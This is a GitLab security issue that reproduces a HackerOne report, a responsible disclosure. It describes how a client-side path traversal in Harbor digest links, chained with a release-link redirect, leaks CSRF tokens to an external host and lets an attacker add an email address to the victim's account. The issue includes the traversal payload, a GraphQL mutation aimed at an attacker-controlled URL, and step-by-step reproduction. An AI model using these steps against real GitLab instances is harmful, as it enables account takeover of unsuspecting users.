CSPT in Harbor digests links lead to CSRF token leakage and ATO on selfhosted instances
:warning: **Please read [the process](https://gitlab.com/gitlab-org/release/docs/-/blob/master/general/security/developer.md) on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.**
**[HackerOne report #2666352](https://hackerone.com/reports/2666352)** by `joaxcar` on 2024-08-16, assigned to `GitLab Team`:
[Report](#report) | [Attachments](#attachments) | [How To Reproduce](#how-to-reproduce)
## Report
#### Summary
Its possible to leak a CSRF token through a `Client side path traversal (CSPT)` if the victim click a link generated by a spoofed Harbor server.
Given an API response like this
```json
[
{
"creation_time": "2024-08-09T15:07:53.614Z",
"digest": "..\\..\\..\\..\\releases\\test\\downloads\\test#",
"id": 1,
"scan_overview": {
"duration": 120,
"scan_status": "Success",
"severity": "High"
},
"size": 2048,
"tags": [
{
"name": "latest",
"push_time": "2024-08-09T16:00:00.000Z",
"signed": false
}
],
"type": "IMAGE",
"update_time": "2024-08-10T03:16:28.464Z"
}
]
```
When visiting `/-/harbor/repositories/test/test` will result in a link that, when clicked will trigger this code snippet
```js
export function getHarborTags({ requestPath, repoName, digest, page }) {
const url = buildApiUrl(HARBOR_TAGS_PATH)
.replace('/:request_path', requestPath)
.replace(':repo_name', repoName)
.replace(':digest', digest);
return axios.get(url, {
params: {
page,
},
});
}
```
And the `GET` request will end up four levels down in the URL due to the traversal. The `digest` needs to be URL encoded.
As this request is made using `axios` it will contain a `x-csrf-token` header. This does not make much difference for requests on the Gitlab domain as `GET` requests are seldom state changing.
However, `axios` is using `fetch` and when `fetch` encounters a redirect it will also redirect any special headers to the new location. This can be abused using [permanent release links](https://docs.gitlab.com/ee/user/project/releases/release_fields.html#permanent-links-to-release-assets) .
Creating a release redirect and then pointing the `GET` request to that endpoint will leak the `x-csrf-token` to an external site (this is blocked on gitlab.com by the `connect-src` CSP but works on self hosted).
With the CSRF token the attacker server can then make any requests towards the gitlab
#### Steps to reproduce
Note that I am just spoofing some endpoints here, a real attack could just relay all other traffic to a proper Harbor server making everything else work as normal for the user
__Simple version (this one will need you to use my server)__
1. Create a new group and a project in that group
2. Go to `https://gitlab.com/groups/GROUPNAME/-/settings/integrations/harbor/edit`
3. Add `http://137.184.41.210` as the URL, add a name, username and a 8 letter password
4. Now go to [https://gitlab.com/GROUPNAME/PROJECTNAME/-/releases](https://gitlab.com/GROUPNAME/PROJECTNAME/-/releases) and create a new release
9. Fill in a new tag called `test` and anything as the title. Then click create
10. Now go to [https://gitlab.com/-/graphql-explorer](https://gitlab.com/-/graphql-explorer) and put this in the query area
```graphql
mutation createReleaseAssetLink($input: ReleaseAssetLinkCreateInput!) {
releaseAssetLinkCreate(input: $input) {
errors
__typename
}
}
```
put this in the variables area (replace `GROUPNAME/PROJECTNAME`)
```
{
"input": {
"projectPath": "GROUPNAME/PROJECTNAME",
"tagName": "test",
"name": "x",
"url": "https://factual-indecisive-foe.glitch.me/leak",
"linkType": "PACKAGE",
"directAssetPath": "/test"
}
```
11. Send the request, now you should be able to access your script through `https://gitlab.com/GROUPNAME/PROJECTNAME/-/releases/test/downloads/test
12. Go to `https://factual-indecisive-foe.glitch.me/start?target=GROUPNAME/PROJECTNAME?email=attacker@example.com` replacing `GROUPNAME/PROJECTNAME` and `email`
13. On the site click the link to gitlab
14. On the gitlab page that opens up click the artifact link
15. Wait about 3 seconds
16. Go to https://gitlab.com/-/profile/emails and you should now have an attacker controlled email on your account (click remove to remove the email)
__SAFE: self hosted__
The code for the attacker page is here: https://glitch.com/edit/#!/factual-indecisive-foe. Make a remix or copy it somewhere else to replicate it. But it does not do anything special just using the two parameters from step 12
To host the spoofed Harbor instance `http://137.184.41.210` host this Python server somewhere 
Its possible to test the POC on gitlab.com if you use a rewrite rule that removes the CSP:
1. `^Content\-Security\-Policy.*$` to empty string (regexp match) The first one will enable the UI on Gitlab.com and the second one will remove the CSP mimicking the defaults on self hosted servers
#### Video POC

#### Impact
Leaking CSRF token on self hosted instances that leads to full CSRF possible to perform an ATO adding an attacker email to victim account.
Its a bit hard to asses this with CVSS, I understand if its put as `C` and `I` `Low` as with no CSP XSS.
If you alter the other parameters too much, it gets really low, and it's still an ATO on self-hosted instances, so I hope you can take that into consideration when assessing `complexity` and `scope,` for example.
It would, for example, be possible to abuse a compromised Harbor server without any prior access to the GitLab instance.
#### What is the current *bug* behavior?
Path traversal in the artifact links
#### What is the expected *correct* behavior?
Artifact links should not be able to have path traversals.
#### Impact
Leaking CSRF token on self hosted instances that leads to full CSRF possible to perform an ATO adding an attacker email to victim account.
## Attachments
**Warning:** Attachments received through HackerOne, please exercise caution!
* [Screen_Recording_2024-08-16_at_12.20.15.mov](https://h1.sec.gitlab.net/a/884b1c66-f0ac-4e2c-b1ef-2a6b9d6e3ac0/Screen_Recording_2024-08-16_at_12.20.15.mov)
* [server.py](https://h1.sec.gitlab.net/a/6f7bebb1-c921-4cbe-9d71-3807c6320616/server.py)
## How To Reproduce
Please add [reproducibility information] to this section:
1.
1.
1.
[reproducibility information]: https://about.gitlab.com/handbook/engineering/security/#reproducibility-on-security-issues
issue